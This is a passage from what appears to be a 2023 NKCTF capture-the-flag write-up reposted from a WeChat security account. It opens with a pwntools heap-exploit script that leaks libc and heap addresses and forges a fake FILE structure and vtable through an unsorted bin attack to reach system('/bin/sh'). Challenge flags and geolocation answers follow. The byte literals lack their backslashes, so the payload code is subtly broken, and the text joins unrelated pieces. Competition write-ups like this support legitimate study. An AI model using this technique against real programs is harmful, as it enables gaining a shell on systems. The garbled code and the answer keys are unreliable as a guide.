free(5)
free(1)
p.sendlineafter(b"Choice:", b'1'*0x500)
add(0x37,b'x01'*0x37) #idx 1 0x030
show(2)
p.recvuntil(b'Content: ')
leak = u64(p.recv(6).ljust(8, b'x00')) - 0x3c4b78
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
_IO_list_all = leak + libc.sym['_IO_list_all']
add(0x17,b'x00'*0x17)#idx 5 0x070 = idx 2
add(0x17,b'x08'*0x17)#idx 12 0x090
free(12)
free(5)
show(2)
p.recvuntil(b'Content: ')
heap_base = u64(p.recv(6).ljust(8, b'x00')) - 0x90
log.info("heap_base==>0x%x" %heap_base)
free(4)
add(0x27,b'x00'*0x18+p64(0x41)+b'x00'*7) # must keep the fastbin size = 0x41
fake_file = b'/bin/shx00'+p64(0x61) # fake_file
fake_file += p64(0)+p64(_IO_list_all-0x10) #unsorted bin attack
fake_file += p64(0)+p64(1) #bypass check
fake_file = fake_file.ljust(0x38,b'x00')
add(0x38,fake_file)
free(6)
payload_1 = b'x00'*0x28 + p64(heap_base+0x1d0) # point to fake_vtable
payload_1 = payload_1.ljust(0x37,b'x00')
add(0x37,payload_1)
free(7)
payload_2 = p64(0)*3 + p64(sys) # fake_vtable
payload_2 = payload_2.ljust(0x37,b'x00')
add(0x37,payload_2)
debug()
p.sendlineafter(b"Choice:", b'1')
p.sendlineafter(b"size:", str(0x20).encode('ascii'))
p.interactive()
1
SignIn
NKCTF{W3c0me_to_NKCTF2023}
1
两个人的夜晚
百度和地图
NKCTF{天津市西青区中北镇万卉路3号NCC新城市中心}
2
Bridge
百度和地图
NKCTF{海南省海口市龙华区世纪公园}
3
旅程的开始
百度和地图
NKCTF{贵州省贵阳市南明区遵义路1号}
4
The other Bridge
百度地图结合着看,然后就是提示了。。。。xx河畔,真的要加河畔
NKCTF{重庆市渝中区嘉陵江畔戴家巷崖壁步道}
5
Ferris_Wheel
地点还是很好找,百度一下就有,只是这个地点需要比较全面
NKCTF{重庆市永川区兴龙湖CBD永川里奥特莱斯渝西之眼摩天轮}
6
狂飙
抖音搜索
NKCTF{广东省江门市蓬江区莲平路}
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):2023NKCTF-WriteUp By EDISEC